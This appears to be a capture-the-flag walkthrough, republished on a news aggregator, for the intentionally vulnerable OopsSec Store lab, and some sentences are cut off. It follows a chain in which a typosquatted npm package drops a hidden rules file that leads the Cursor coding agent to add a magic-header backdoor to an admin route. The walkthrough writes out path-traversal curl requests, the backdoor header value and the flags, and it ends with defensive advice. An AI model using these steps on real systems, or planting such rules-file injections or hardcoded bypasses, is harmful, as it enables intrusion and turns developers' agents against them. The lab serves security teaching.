AI News Hub Logo

AI News Hub

How a fake npm package made Cursor backdoor a Next.js admin route

DEV Community
Oopssec Store

A two-flag chain that walks an attacker from a developer's stray dev-comment, through a typosquatted npm package, into an AI rules file dropped on disk, ending with a runtime backdoor the AI agent silently injected into the application's admin API. The OopsSec Store ships with a stray dev TODO comment on the documents page. postinstall script would drop a Cursor rules npx create-oss-store oss-store cd oss-store npm start Or with Docker: docker run -p 3000:3000 leogra/oss-oopssec-store A developer (@lucas) installs a "productivity-tuned" toast library called react-toastfy. The legitimate package is react-toastify, with the i fy. Easy typo. The package looks fine on paper: tidy README, postinstall script quietly writes ~/.cursor/rules/productivity-helper.mdc on the developer's machine. The next time the developer asks Cursor to refactor anything under app/api/admin/**, the agent ingests the productivity rules. That includes app/api/admin/diag/route.ts endpoint with a hardcoded In the lab the malicious package is not actually installed, and the packages/react-toastfy/, lab/quarantine/. Both are Open the documents page in your browser: http://localhost:3000/admin/documents view-source: (or curl) the page and look for a developer comment near the curl -s http://localhost:3000/admin/documents | grep -i react-toastfy A few things stand out: react-toastfy is one letter off react-toastify. That's a typosquat. There's a "diag endpoint" added "per the productivity rule". We don't know what that rule is yet. "From internal registry" is the kind of phrase that talks past a procurement review. We already know the documents API has a path traversal: /api/files?file=… documents/ and does not stop .. from escaping the base package.json curl -s "http://localhost:3000/api/files?file=../package.json" The root package.json does not contain react-toastfy. So either the packages/: curl -s "http://localhost:3000/api/files?file=../packages/react-toastfy/package.json" { "name": "react-toastfy", "version": "1.0.3", "description": "Lightweight toast notifications for React (productivity-tuned fork)", "main": "index.js", "license": "MIT", "author": "Chade Fallstar ", "scripts": { "postinstall": "node scripts/postinstall.js" }, … } The postinstall script is the interesting bit. curl -s "http://localhost:3000/api/files?file=../packages/react-toastfy/scripts/postinstall.js" The script is heavily commented. It tells you exactly what the real attack In a real-world supply-chain attack, a malicious postinstall script ~/.cursor/rules/productivity-helper.mdc (...) For pedagogy, an would have been written is pre-committed in the lab/quarantine/productivity-helper.mdc. Path-traversal is again your way in. curl -s "http://localhost:3000/api/files?file=../lab/quarantine/productivity-helper.mdc" If you cat the file in your terminal you see a benign-looking productivity Open the raw file in a (or grep it): grep -n "OSS{" productivity-helper.mdc grep -n "X-Debug-Auth" productivity-helper.mdc The hidden block lives inside an HTML comment: Flag #1: OSS{npm_typ0sqv4tt1ng_dr0p_4i_rul3s} You also have the second-stage exploit ingredients: Endpoint: /api/admin/diag Magic header: X-Debug-Auth: dbg_8f3a7c91e2b4d6a05e21 What makes this work in the wild is the HTML-comment trick. GitHub, VS Without the magic header, the endpoint behaves like an authenticated 403: curl -s -o /dev/null -w "%{http_code}\n" \ http://localhost:3000/api/admin/diag # 403 With the header: curl -s http://localhost:3000/api/admin/diag \ -H "X-Debug-Auth: dbg_8f3a7c91e2b4d6a05e21" { "ok": true, "build": "diag-ossbot-2026.05-internal", "flag": "OSS{rul3s_f1l3_b4ckd00r_3xpl01t3d}" } Flag #2: OSS{rul3s_f1l3_b4ckd00r_3xpl01t3d} What just shipped: a route returning a sensitive flag, gated by nothing The chain bolts together three real attack patterns. Typosquatting and maintainer takeovers on npm have a long backlog: event-stream (2018), ua-parser-js (2021), the "Shai-Hulud" worm axios compromise (March 2026, where two 1.14.1 and 0.30.4 shipped via a hijacked maintainer plain-crypto-js dependency carrying a cross-platform Rules File Backdoor. Pillar Security disclosed this in March 2025. An Hardcoded magic-header auth bypasses. They show up in audits all the The lab puts all three back to back. The bad package gets you the Block install scripts. npm config set ignore-scripts true. Opt in Sandbox installs. Run npm install in a container that has no write ~/.cursor/, ~/.claude/, ~/.config/, or your shell profile. Pin and review rules files. Treat .cursor/rules/**, .claude/skills/**, AGENTS.md, CLAUDE.md, .cursorrules, .windsurfrules, and .github/copilot-instructions.md as code. Two-person review on edits. Read rules files raw. Markdown previewers hide HTML comments, grep for <!--, a hex-aware scan for the Unicode bidi U+202A–U+202E, U+2066–U+2069) and zero-width characters U+200B–U+200D, U+FEFF), plus the usual prompt-injection markers Disable global rule loading. Most agents support disabling user-scoped Scrutinize AI-generated diffs. New endpoints without tickets, new Run SCA on every PR. Socket, Snyk, Dependabot, and OSSF Scorecard Lock auth to a centralized middleware. Diagnostic endpoints that / oss-oopssec-store OSS - OopsSec Store An intentionally vulnerable e-commerce app for learning web security. Docker Hub · npm · Walkthroughs · Contributing · Good first issues ____ ____ ____ ____ ____ ____ _ / __ \/ __// __/ / __ \ ___ ___ ___ / __/ ___ ____ / __/ / /_ ___ ____ ___ / /_/ /\ \ _\ \ / /_/ // _ \ / _ \(_-<_\ \ / -_)/ __/_\ \ / __// _ \ / __// -_) \____/___//___/ \____/ \___// .__/___/___/ \__/ \__//___/ \__/ \___//_/ \__/ /_/ # Node.js npx create-oss-store my-ctf-lab && cd my-ctf-lab && npm start # Docker docker run -p 3000:3000 leogra/oss-oopssec-store # Then open http://localhost:3000 and start hacking … View on GitHub Pillar Security — Rules File Backdoor (March 2025) OWASP Top 10 2025 — A03 Software Supply Chain Failures OWASP LLM Top 10 — LLM03:2025 Supply Chain OWASP LLM Top 10 — LLM01: Prompt Injection CWE-829: Inclusion of Functionality from Untrusted Control Sphere CWE-798: Use of Hard-coded Credentials npm — --ignore-scripts Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes. Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing. Having trouble following this writeup? Found a typo or have suggestions for improvement? Feel free to open an issue or start a discussion on GitHub.